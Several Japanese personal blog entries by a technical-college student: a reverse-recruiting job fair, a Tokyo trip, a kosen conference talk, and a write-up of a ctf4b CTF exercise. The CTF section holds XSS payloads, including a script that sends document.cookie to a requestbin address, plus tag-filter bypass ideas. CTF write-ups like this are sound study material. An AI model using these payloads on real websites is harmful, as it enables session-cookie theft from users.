ぼくはこの時点でありがたいことにリブセンスさんからランチのお誘いをいただき、社員さん・学生さん4名ずつの合わせて8名(だったかな)でお昼ごはんを食べに行きました。学生さんと技術の話で盛り上がったり、社員さんに会社のことについて軽く聞いてみたり、雑談したりといい感じに緊張をほぐしていただきました。

お金まで出していただいて本当にありがたい限りです。ご馳走様でした。


逆求人本番

1時間程度のお昼休憩が終わると、面談のスケジュールが専用のwebサイトから閲覧できるようになります。

1ターム25分で全10ターム用意されていたのですが、ありがたいことに6タームは企業さんと面談をさせていただくことができました。正直こんなに埋まると思っていなくてびっくりしました。


面談をさせていただいたのは順番に

の6社(敬称略)です。


特にリブセンスさんにはお昼ごはんでお世話になった上1位指名までいただいてしまい知ったとき驚きすぎて泣きそうになりました。本当にありがとうございます。


各社について詳しいことは書きませんが、自己紹介のプレゼンテーションをしたあと質問に受け答えをし、逆に会社について説明を受けたあとこちらからの質問にも答えてもらうというのがざっくりとした流れです。

お話をしている中で自分の目指す人物像と企業のビジョンが合致すると感じる企業さんも数社あり、そういったところとは自然に会話が盛り上がっていったように感じます。やはりお互いに通じ合う部分があると話が弾みます。


ちなみに、お話をした企業の方からはノベルティとしてステッカーやクリアファイルなどをいただきました。これはその一部です。(アカツキさんのトートバッグは全員に配布されていたもので、今回はお話させていただいていません)

f:id:mwc922_hsm:20180922225913j:plain


どの会社の方もこちらの質問にかなりしっかり答えていただけて、また私は話をまとめる(イメージを言語化する)のがとても苦手なのですが、拙い日本語にも耳を傾けていただき、さらにはキャリアについてアドバイスをいただいた企業さんもありました。本当にありがたいことです。

話していて思ったのですが、いくら田舎で環境がないとかなんとかと言っても今の時代はTwitterなんかで強い人と知り合えるから良いですよねというのをめちゃくちゃに感じました。恵まれてる環境にいるんだよといった風なお言葉をかなりたくさんいただいて、やっぱりそうなんだなあ、田舎だか年齢だかに甘えちゃいけないなあと改めて思わされました。


企業さんとの面談が入っていない時間は他の学生の方とお話をしていましたが、さすがにこういったイベントに参加してくるだけあってどの方もかなり印象が濃かったです。

高専から大学編入された方であったり、超一流大学の大学院に通われている方だったり、ひと夏でたくさんの会社のインターンシップに参加して経験を積まれている方だったり、とにかくいろいろな方がいました。


面白かったのは、「高専です」と言うと結構な割合で「うわ〜高専かぁ(笑)」みたいな反応をされる方が多かったことですかね。大学に編入する高専生は意識が高いというのは割とよく言う話ですが、如何に世間の大学生が「上澄み高専生」を見ているのかがわかってちょっと興味深いなと思いました。

ぼくも上澄みと言われる部類に入りたいです。


面談終了

面談が終わるとスカウトタイムといって企業の方が気に入った学生に「オフィスに遊びにおいで」とか「また個別にお話しましょう」とか声を掛けに行く時間が始まります。


ぼくもこのスカウトタイム中に「また東京に来ることがあればオフィスにおいで」と言っていただいたり、話の弾んだ企業さんからはありがたいことに個別にリモートで面談の日程を調整していただきました。嬉しいです。

また、スカウトタイム中ではなかったのですが、タームの終了時に「もっと話したいし交通費出すか」「こっちから宇部に行こうか」などと言っていただいた企業さんもあり、社交辞令であってもめちゃくちゃ嬉しかったです。また東京に来ることがあればぜひオフィスにお邪魔させていただきます。


逆求人がおわった

逆求人が終わり、本来であればこのあと学生間の交流のための懇親会に参加する予定だったのですが、丸一日喋りっぱなしだったこともあり、喉の調子がだいぶまずそうな感じになっていたので懇親会には出ずそのまま帰りました。


交通費支援ということでいくらかジースタイラスさんより補助金をいただいたので、オタクタウン・秋葉原にて新しいワイヤレスイヤホンを買うなどしました。

割引が効いて3千円しなかったのですが、思った以上に音が良くてびっくりしています。


就職活動の滑り出しとしてはかなり良いスタートを切れたんじゃないかなと思っています。どれもこれもお誘いいただいたり交通費を支援していただいたりプロフィールやスライドのアドバイスをしてくださったジースタイラスさんと担当のしおりさんのおかげです…本当にありがとうございます。

就職活動というやつ、正直「プログラミングができればそれでいいし特別ここじゃないととかってあんまりないな、何を思って人間会社選びなんかするんだろう」とずっと思っていたのですが、実際に6社もの社員さんと話してみると会社ごとにこんなにも雰囲気って違うのか、と思わされました。


あと、普段Twitterでガチプロに囲まれていると自信をなくしがちというのがあるのですが、自分のやってきたことを話して実際にIT企業でエンジニアとして働いている方から「高専生でそれだけやってるのすごいよ」とか「プログラミング初めて触れてから3年間でそれだけの分野に手を伸ばすってなかなかできないよ」とかを言ってもらうとかなり嬉しいです。自信がつくし自尊心爆上がりです。

現場で働いているエンジニアさんからお褒めの言葉をいただくとやっぱりモチベーションが上がります。山口に帰ったらもうバリバリ開発してやるぞの気持ちになりました。


開始前は院生しかおらへん無理無理死んだ人生おわおわとか言っていたぼくですが、その院生・学部生がたくさんいる中でこうして「お前が気になってるぞ話したいぞ」と言っていただけるというのは本当に嬉しいことで、正直未だに実感が湧かないところすらあります。

高専の中にいると年下の強い人ばっかりで人生厳しいなあと思いがちですが、こうして少し外に出てみると案外良い結果が出たりするものなんだなあとしみじみ感じたりなどしています。


余談ですが、これはいただいたステッカーをペタペタ貼ったぼくの愛機ThinkPadです。

f:id:mwc922_hsm:20180922233032j:plain

まだどう貼ろうか悩んでいて貼ってないものもあります。一気にイキリオタク指数が上がって自分で「うわキツ…」となってしまいました。まあでも企業のステッカーベタベタ貼るやつ学生のうちぐらいしかできないかなあとか思うと今のうちにやっておくべきな気がします。


逆求人については以上です。結構いろんな人におすすめしたいイベントだなあと思いました。ぼくが紹介してイベントまで行ってくれると両方にアマゾンギフト券が1万円分もらえるはずなので気になった方は紹介します。一緒に1万円ゲットしましょう。
何か逆求人について「この辺どうだったの」「あの企業とはどこまでいったの」みたいな聞きたいことがあれば気軽に@hsm_hxまで聞いていただければと思います。


明日はTGS行くぞ〜〜〜〜〜〜〜〜〜たのしみ〜〜〜〜〜〜〜

就活のために東京に来た話

2泊3日東京一人旅

題目通りですが、就活のために2泊3日で東京に来ています。

先日、登録しておいた逆求人ナビというサービスの担当者の方から「逆求人フェスティバルに参加しませんか」と案内をいただき、交通費が出るなら行くしかないわねとなり今東京にいます。


逆求人フェスティバルは明日(一人旅2日目)に開催されるため、逆求人フェスティバルとは何かなどについてはまた明日の記事に書こうと思います。


今日やったこと

逆求人フェスティバルが朝から行われるため、当日の一番早い飛行機ではあまりにギリギリになってしまうということで前日入りを決めました。


ちょうどこのタイミングでニクリーチというサービス経由で「あなたに興味があるので20卒として一度面談をしませんか」と案内が来ており、その面談を今日に調整してもらっていました。

なので、今日は主には企業との面談、その前後の空き時間で東京散策をしていました。散策しすぎて体中バッキバキになりました。



東京散策午前の部

飛行機が羽田空港に朝9:30頃到着し、両国駅付近のホテルに荷物を預けた後東新宿駅にあるスクウェア・エニックス本社に向かいました。

ぼくは昔からスクウェア・エニックスの大ファンで、前東京に来たときは秋葉原スクエニカフェ、大阪に行ったときはなんばのスクエニカフェと道頓堀のFF14カフェとあっちこっちのスクエニのグッズショップを駆け回っていたのですが、とうとう本社ビルの麓にある公式グッズショップ「ARTNIA」に足を踏み入れる日が来ました。

行きたいと願い早3,4年にはなるでしょうか。やっと来れた。


エモーションを感じてください。


企業との面談

アルトニアのスライムパンケーキでQoLレベルが爆上げになったので、そのままのテンションで面談のお誘いをくださった某企業(名前を出して良いのかわからないので伏せていますが聞いてもらえば教えます)様のオフィスへ向かいました。

人事の方と1対1の面談でしたが、非常にフランクな雰囲気でお話していただき、緊張で昨晩眠れず泣いていたぼくもにっこりでした。


流れとしては

  • 会社について紹介
  • 気になったところを質問
  • 自己紹介
  • 人事さんからの質問
  • 選考などについて

という感じで進んでいたかと思います。


お話をした企業では少子高齢化社会に対して子育ての支援をするサービスなどを提供しており、今後は観光(主に外国人向け)によって地方を活性化させていくといったサービスを開発・運営する予定だという風に伺いました。

若い世代が得したり地方の観光が促進されたりするのは本当に良いことですね。めちゃくちゃ良い話だなと思いました(雑)。


また、外国に開発拠点を持っているという話も伺い、これで面談は3社目だったのですが(いずれもベンチャー企業)、外国と連携して開発をしているという例は初めてだったので興味を惹かれその点についていくつか質問をさせていただくなどもしました。


逆求人で東京に来たという話を始めにしていたので、その後は逆求人のために用意しておいた自己紹介スライドを使って軽く自己紹介をしました。

自己紹介、熱心に聞いていただけて本当に話しやすかったです。突然田舎からやってきた18歳の学生が世界征服だの言い出したのに真面目に聞いてくださって感謝しています。人事さんありがとうございました。

今までやってきたことであったり、これからやりたいことなんかを3,4分ほど話したのですが、明日の逆求人に向けてアドバイスまでいただいてしまい本当に感謝してもしきれないですね。


また、知識をアウトプットするの大事だよね〜みたいな話になったので軽く高専カンファレンスの話をしてみたら人事の方がとてもよく食いついてきてくださり、「高専生の発表是非見たいので会場お貸しします、ぜひうちでやってください」みたいなことを言っていただきました。東京近辺の方どうですか?やりませんか?



今まで面談は全てリモートでお願いしてきたのですが、どうにも電話やビデオ通話に慣れないもので、対面でお話するのはかなり気が楽でした。

これまで2社ではなんとなく社交辞令的にインターンのお誘いをいただいたりしていたのですが(まあどっちも落ちた)、今回はいい感じに「本選考始まったらまたご連絡しますね」とまで言ってもらえました。嬉しいことです。

今日の面談で失敗したら絶対明日に引きずるなあと思っていたので、好感触で終われて本当に良かったです。


以下はあまりに気分が良くなって調子に乗っているぼくのツイートです。

明日もこの勢いで頑張りたいです。頑張るぞ。


丸善 丸の内本店

面談が終わり、気分が良くなった結果なんとなく技術書を眺めたくなってしまったぼくは本屋探しの旅をすることになります。

Twitterで有志からの情報を集めた結果、丸善の丸の内本店がめっちゃ良いとのことで行ってきました。



いやマジで ヤバかったです 一面技術書だらけ

オライリーという有名な技術書の出版社がありますが、その専用の棚ができてる。意味わからんやった。


真面目に、本棚10分眺めてるだけでも最近流行りの技術とかわかります。めちゃくちゃ恵まれてると思う。

都会に住んでる人ってこんな良い環境でしかも勉強会イベントなんかも盛んな中スキルアップができるんだなとなりました。将来は都会の本屋になりたいです。



本当に本屋のヤバさについてはどう表現していいかわからないので田舎人間は一度東京駅前丸善丸の内本店に行ってください。よろしくお願いします。



オタクタウン・秋葉原

まあオタクとしては東京に来たらここは外せないですよね。ホテルから電車で4分だし行くよね。


実は昨日ワイヤレスイヤホンをなくしたことに気付いてしまい、オタクに勧められてeイヤホンというイヤホン専門店に行ってきました。

クソ高え誰がイヤホンに2万も3万も出すんだよという感じ。ありえん。

明日逆求人行って交通費補助の分もらったらまた見に行こうと思います。


次にGALLERIA LOUNGEに行ってきました。ゲーミングPC・周辺機器の専門店です。

オタクなので光りものが大好きなんですが、ゲーミングデバイスの専門店とかもうピッカピカでウッキウキになってしまいます。

キーボードの打鍵感確かめて遊んだりしてました。ぼくも良いキーボードがほしいなあという気持ちになりました。


その次はDDRのパネルがめちゃくちゃ良いとの評判を聞きエターナルアミューズメントタワーというゲームセンターでDDRをしてきました。

なんかもう一息な感じはするんだけど悔しい。聞いてた通りパネルめちゃくちゃ良くてびっくりしました。エレクリ落ちちゃったけど前半めちゃくちゃ驚きの精度って感じだったし最高です。サープラがエアタワになってほしい。


このあとN高のオタク(@Nagikaze0330)と合流して軽くお喋りをしながらパソコンの部品とかを眺めてました。

同年代の女の子エンジニア珍しいし女オタクと話したのもあまりに久し振りで開幕だいぶオタクキョドりをやってしまった、つらい気持ちです

N高、めちゃくちゃ強いエンジニア出してるしヤバいなあ良い環境だなあと思っていたら毎週5日電車で2時間半かけて通っているらしく、やっぱりみんな苦労してるんだなと思うなどをしました。

今回は30分ぐらいしかいられなかったけどまたエンジニアトークとかがっつりやりたいです。


そして今日の締め(?)に@LISA0_とラーメンを食べに行きました。


行こうと思ってたラーメン屋が夜はコースしかやってないとかで急遽予定を変更して錦糸町真鯛らーめん 麺魚というお店に来ました。オタクとラーメン食べるやつ、Twitterだとありがちな光景ですが初めてなので新鮮でした。

どうでもいいですが券売機に100円玉と間違って10円玉を入れてしまってお釣り合わせようとしたのになんかめっちゃ出てくるし計算合わんあれ?あれ?とかなってたら「そりゃ10円入れたら10円出てくるでしょ何してるん(要約)」みたいなこと言われて悲しくなりました。


スープがめっちゃ美味くて完飲しました。美味しかった。あとチャーシューが神だった。ご馳走様でした。


1日まとめ

朝6:30に家を出て夜の20時までずっと遊んでました。濃い一日だった。


企業との面談がうまく行ったり念願のアルトニアに行けたり都会本屋でモチベーション爆上がりしたり同年代同性エンジニアと邂逅したりオタクと美味いラーメン食ったりでQoLガン上がりになりました。みんなありがとう。

まあ明日が本番なので、これからスライド手直ししたり明日の準備したりをやります。


明日も一日がんばるぞい!

#kosenconf に参加しに兵庫県に行ってきた話

明石カンファに行ってきました

行ってきました。高専カンファは6ヶ月振り3回目です。

兵庫県での開催ということで割と近かったので行って来たのですが、行ってみると意外と「遠いところから」と言われたので一般的には山口県兵庫県は遠いらしいです。


今回は近かったのと金欠なので夜行バスで行って夜行バスで帰ってきました。
限界旅行はつらく苦しいですが学生のうちにしかできないという充実感があります。



カンファ前

前日の19時半に夜行バスに乗り込み当日の5時半に三宮に到着しました。近いね~

同じバスで来ていた隣高専のオタク(@hamaguchiCtrlS)と三宮のガストで朝飯をしながら時間を潰したりしました。


途中で豊田のオタク(@Ymgn_Bass)とも合流しました。

f:id:mwc922_hsm:20180918013016j:plain
写真: @hamaguchiCtrlS

朝6時からガストでオフ会するオタクキツい。


カンファ開始は12:40だったため、それまで三宮ラウンドワンで時間を潰したりしました。

オタクが3人集まってラウンドワンでやることと言えば音楽ゲームです。どうでもいいですがぼくは人生初のラウンドワンでした。


やりました↓


やりました↓


普段人間と一緒にゲーセンに行くことはあまりないのでDDRしかやらないんですが、普通の音楽ゲームもやってみると結構面白かったです。


このあとはオタクなので三宮のジュンク堂書店に行って参りました。

三宮のジュンク堂、天神のジュンク堂より小さいのに技術書が充実している気がしましたがよく考えるとぼくは天神のジュンク堂でゲームプログラミング以外の技術書を見たことがないので気がしただけかも知れません。


無限に立ち読みしたり背表紙を眺めるなどをしていて思ったのですが、これが欲しいので買ってくれる人を募集しています。

リバースエンジニアリングバイブル ~コード再創造の美学~

リバースエンジニアリングバイブル ~コード再創造の美学~

↓↓よろしくお願いします↓↓
干し芋のリスト


そんなこんなで豊田のオタク2(@nittc_tia)と合流しました。
開幕から@hamaguchiCtrlSにキツい絡みをかまされていたのが印象的です。



そういうムーブメントをしていたらなんか良い感じの時間になってきたので、三宮駅ドトールで軽い昼食をして明石高専の最寄りである魚住駅に向かいます。



kosenconf_119akashi

高専カンファレンスART in 明石は高専カンファレンス通算119回目の開催でした。歴史あるイベント。

会場だった明石高専は流石全国一偏差値の高いらしい高専ともあり駅からまっすぐ徒歩5分完璧な立地で死ぬほど羨ましくなりました。宇部高専は駅から徒歩40分ですがどういうことでしょう。高専格差はよくないですね。

f:id:mwc922_hsm:20180918015453j:plain


受付を済ませたら可愛らしい記念ステッカーをいただいたのでThinkPadに即貼りしました。オタクなのでどんどんパソコンがシール帳になっていきます。


受付をしてくれた@naoppyJさんが当時FF外だったにも関わらず「あっ、はすみさん」と名前を呼んでくださったので驚きました。名前知ってくださってたんでしょうか。そうだったら嬉しいですね。ぼくも名前は存じておりました。



プレゼン発表ですが、1番手から#John_is_proボイチェン機能付きガスマスクを作っていたり(家に防塵マスクがあったってどういうことなんだろう?)、クレームという言葉の正しい使い方について分かりやすく説明されておられたりのあとの3番手だったのでクソ死ぬほど緊張してました。

緊張で胃が痛いとはよく言う言葉ですが、ぼくは緊張すると肺が痛くなります。激痛でした。


ぼくの発表ですが、@hsm_aiについての話を5分でさせていただきました。

使用したスライドは以下です。

また、以下のYouTubeチャンネルよりストリーミングのアーカイブが視聴可能になっています。

www.youtube.com

途中で配信が困難な状態になってしまい中断されてしまったので、後日録画も投稿されるとのことです。
ちなみに、ぼくの発表も上記チャンネルの1番古い投稿の最後らへんに半分ぐらい映っています。緊張で足が震えて頭真っ白だったのでだいぶ厳しい発表になってしまい申し訳ないと思っています。ストリーミングの切れたあとが一番盛り上がったので悔しい(こればかりは仕方がない)。


発表内容については以下のエントリの5分縮小版という感じだったので、もしこれで興味を持った方がいれば参考にしていただければと思います(宣伝)。

mwc922-hsm.hatenablog.com

mwc922-hsm.hatenablog.com

また、発表に使ったhsm_aiのツイート集も載せておきます。

twitter.com

hsm_aiで笑ってくれた方、本当にありがとうございました。クソ意味不明なbotについて5分も話してしまって申し訳ないです。



その後も高専カンファレンスらしいいろいろな発表(技術的であったり、哲学的であったり)が続き、時間に余裕があったこともあり合間合間に休憩を取ることで発表者の方との名刺交換とかも捗っていたなあという印象です。いい感じ。

発表一つ一つについて書くことは文字数の都合上厳しいですが、Twitterの #kosenconf タグなど参照いただければ会場の雰囲気が伝わるのではないかなと思います。また録画アーカイブも楽しみに待ちましょう。



懇親会

高専カンファレンス後恒例の懇親会ですが、明石高専の食堂にて行われました。

明石高専の食堂はちょっと狭いなという気はしたもののなんかめっちゃお洒落でずるいと思いました。これが高偏差値校というやつです。


お菓子を食べたりコーラを飲んだりしながらいろいろ参加者の方と名刺交換したり発表の話をしたりさせてもらいました。明石高専のガチプロ諸氏とお話できてビビりながらも楽しかったです。

また、会場にはwhiimsさんのプログラミング言語かるた、Gitコマンドかるたが用意されており、情報系のオタクが盛り上がっていました。



ぼく個人はというと、めちゃくちゃビビリなので自分から話しに行くやつが苦手なのですが、今回は登壇したということもあってかたくさんの人に話しかけていただくことができ非常に嬉しかったです。

「はすみさん女性だったのびっくりしました」「めかぶと納豆でしゅうまいを作った話、普通に料理の話かと思ってました」「hsm_aiめっちゃ面白いです」などたくさんのお言葉をいただきドキドキしました。 ぼくは女性だし料理はできないけどhsm_aiはめっちゃ面白いです。


流石に驚きすぎでは?


はすみさんの名刺にははすみさんの名刺以上の価値はありません。ましてやそれでマウントを取るとか意味不明なのでやめましょう。



n次会をしました

運営の人々がお片付けをしている間に、参加者7人で三宮の幸せのパンケーキに行ってきました。
ぼく個人としては本当はフォロワーにおすすめされたANGIEというパンケーキ屋さんに行こうと思っていたのですが、営業時間外だったのでまたリベンジしようと思います。

安定の幸福感でした。男4人の机で「NITTC!イエーイ!」とか言いながらハイタッチしてたりなんか仮想環境とかk/vmとかの話をしていたりしたのが聞こえたのが印象的でした。



このあとは運営サイドとkosen14s周りの人々と合流して三宮のサイゼでオタク晩飯会をしました。

サイゼは人生3回目ぐらいで、間違い探しは人生初めてでした。一緒の机だった@chika_ssyさんと協力して全完できました。そのあとは別の机の解けてない人々を見ながらゲラゲラやってました。楽しかったです。


あとなんかオタクにひたすら叩かれました。



帰宅オタク

22:40三宮発、8:40山口湯田温泉着のバスで帰宅しました。生活習慣崩壊してるのもあって行きのバスは一睡もできませんでしたが帰りのバスは気を失うように睡眠を貪っていました。家に着いてからも12時間寝てました。

次の高専カンファは12月の名古屋になりそうなので今から旅費を貯めておこうと思います。



また、オタクから発表についてフィードバックをいただきました。

発言相応の威力を持った服装ってなんでしょうか。そもそもそんな威力のある発言した覚えがありません。
とりあえず参考にして次のカンファまでに神らしい服装を調達しようと思います。



以上が今回の旅行の全貌になります。気付いたら6000文字とかになってしまっていました。読書感想文が3冊分書けてしまいます。

最後に、今回の運営をされた明石高専のみなさん、協賛金を出資されていたACT135様、カンファレンスを盛り上げられた参加者のみなさん、また声を掛けていただいたみなさん、貴重かつ有意義な体験をありがとうございました!


ひっそり宇部で西京2を計画しているのでこちらもまた頑張ります。



…の前に、今週末は東京に逆求人に行ってくるのでそちらが先です。頑張ります!!!!!

ctf4b広島CTF演習Write-up

ここまでのお話

mwc922-hsm.hatenablog.com

上記記事の最後に触れたCTF演習の解法などまとめです。


正直自分が解いた問題そんな難しいのもなかったし書くことないかな…とか思ってたんですが、回答者0人だったBinary300が解けたのと「本当に書きたくなったときのための練習台にはちょうどいいのでは」というので書いてみることにしました。




Misc

Welcome(100)

問題文に書いてあるFlagをコピペして終わりです。



Calc(200)

簡単な暗算を100問やって終わりです。

人力で37問ぐらい解いたところでtypoして泣いてやめました。頭の良い人はスクレイピングでスマートに解いたらしいです。
解いておけばよかった問題ランキング堂々の1位。



handSQL(300)

問題サーバに接続してSQL文を500回実行する問題です。

サーバに接続したときに出てくる問題文をよく読むと「parsable SQL」とか書いてあったはずですが、頭が悪いので「テーブル名からわかんねえ!はい死んだ!」とか喚いてました。


同じ文を実行するとエラーで落ちるので、select * from xxx*とかxxxとかの部分をlinuxのシステムファイル名とかから引っ張ってくると良かったらしいです。

隣の方はExcelで無限にSQL文を錬成して打ち込んだらしいです。頭良い~!



Crypto

Go Fast(100)

2の何万乗のmod何かを出すとかの問題でした。
電卓とかで計算すると2の何万乗が大きすぎて失敗するので、iPythonで適当に動かしてsubmitしました。



Factoring(100)

大きな整数n=p*q(p,qは素数)が与えられ、p+qを求めるという問題でした。
これもネットとかに落ちてるような素因数分解サイトに計算させると素数の桁が大きすぎて失敗するので、Pythonで適当に素因数分解して結果を足し合わせます。

結構時間がかかるので、うまく出るか心配になりながらその間に他の問題を解いてました。



SimpleRSA(200)

p, q, e, cが与えられるので、公開鍵と秘密鍵を計算してcを復号するとかそんな感じの問題だったと思います。

数学知識のなさ故にRSAを半分も理解できなかったぼくは早々に諦めました。数学勉強します。



Find Primes(300)

cryptoわから~~~ん!!!って言いながら放り投げました。

問題文すら読まなかった気がします。ごめんなさい…



Web

make alert!(100)

フォームのみのシンプルなページが渡されるので、フォームに
<script> alert(); </script>
を渡すと出てきたダイアログにフラグが表示されます。



Contact Revenge(200)

演習で用いたものと同じ、タイトルと本文を入力するとそれが表示されるという簡単な投書箱のようなwebページが渡されます。
タイトルと本文にXSSを投げてみると本文はhtmlタグがエスケープされないので、本文にXSSを投げていきます。

演習で扱った攻撃方法を適当に試してみると、

<script>
    document.location =“http://[requestbinのアドレス]?”+ document.cookie;
</script>

で行けました。確か。どうやらcookieにFlagが隠されていたようです。



Contact Re-Revenge(200)

上記の問題と同じwebページが渡されます。
しかしながら、今回は"script"という単語を含む投稿は弾かれてしまいます。

例として、<img>onclick属性の中にはjsが記述できるので、この中にXSSを仕掛けるとFlagが奪取できます。
Flagの在り処はContact Revengeと同じだと風の噂で聞きました。


後から聞いた話ですが、何もjsを使わなくとも攻撃サーバへのリンクを踏ませれば良い話なので、<img src="">を使ってもFlagは得られたらしいです。なるほど。

焦っててonclickが頭に出てきませんでした。完全敗北。通してれば良かった問題ランキング第2位です。



Reversing

Raw(100)

バイナリを落としたらあとはやるだけstringコマンドで中身を覗きます。
バイナリ解析系の問題は一応最初にfilechmod +xして実行→stringsするようにしてます。


strings bin100 | grep ctf4bするとFlagが出てきます。



Review(200)

この問題から実行の流れを追わないと解けないようになっています。

objdump -M intel -S bin200_1 でintel記法のアセンブリに逆アセンブルして流れを追っていきます。
手元に何故かバイナリファイルがなかったのですが、実行の流れとしてはfor文で5回ほどループして簡単な乗算をしています。

アセンブリを読んでいって、最後にraxに入っている値を計算で求め、ファイルを実行し入力するとFlagが吐かれる…とかだったと思います。手元には120という演算結果のメモしか残っていませんでした。



Function(200)

これもまたアセンブリでシュッとやっていきます。
アセンブリを読んでいくと、genFlagとかいう見るからに怪しい関数があり、中に

mov BYTE PTR [rbp-0x40], 0x63
mov BYTE PTR [rbp-0x3f], 0x74
mov BYTE PTR [rbp-0x3e], 0x66

というようにスタックに16進数を放り込んでる行がずらっと40行ぐらい並んでいます。
なんかパッと見ASCIIっぽいのでそのまま雑に変換するとFlagが出ます。



Cipher(300)

ctf4b広島閉幕から4日、やっと解けました(2018/09/05)。

本戦中にもチラッと読んで何かしらhexのxor取ってるよな~これ計算したらASCII出てきそうやな~というのは検討付いてたんですが、普通に時間足りなくなりそうだったのでやめました。


IDAで実行の流れを追ってみると、_check_flagという関数の中で30行ほどスタックにhexを投げ込んだあとなんかループしてるなあという感じになっています。

下はIDAで解析した_check_flagの一部分のみを載せています。この少し前にスタックにhexを投げ込んだりしています。 f:id:mwc922_hsm:20180905185129p:plain


上の画像の上部でstrlenを呼び出していて、ループ本体(分岐ブロック右側)の最後にadd [rbp+var_4C], 1でインクリメントしてるなあ~というのがわかります。

また、画像には映っていないのですが、strlenを呼び出す直前に

mov edi, 0
call _srand

とあり、ediが関数に渡す引数であることから乱数のseed値として0を渡していることがわかります。


ここでループ本体を見てみると、

call _rand
xor eax, r12d

という行があります。ここでeaxには_randの返り値が格納されているため、seedを0とする乱数とr12dとでxor演算を行っていることがわかります。


以上から、まあ大体strlenで取得した文字数(ここではスタックに投げたhexの数)分、出てきた乱数とxor演算してる感じかな~とアタリを付けました。半分は勘です。


手元でさくっと乱数を出してiPythonを使って演算してみたところ1,2文字目にctが出てきたので、「これはctf4bと始まるに違いない」と確信し適当にCでプログラムを書いてフラグを出しに移りました。


ASCIIは2byteなので、生成する乱数も下位2byteだけ抽出してxorを取っています。

一応使ったコードを下に示します。

gist.github.com




おわりに

Cipherめっちゃ手こずった割には解法が単純だったので悔しい気持ちです。マジで悔しい。

Reversingが思った以上に楽しかったのでCTFはこれからReversingメインでやっていきたいなあの気持ちが生えました。
この後はちょっとずつハリネズミ本リベンジしていきたいと思います。楽しみ~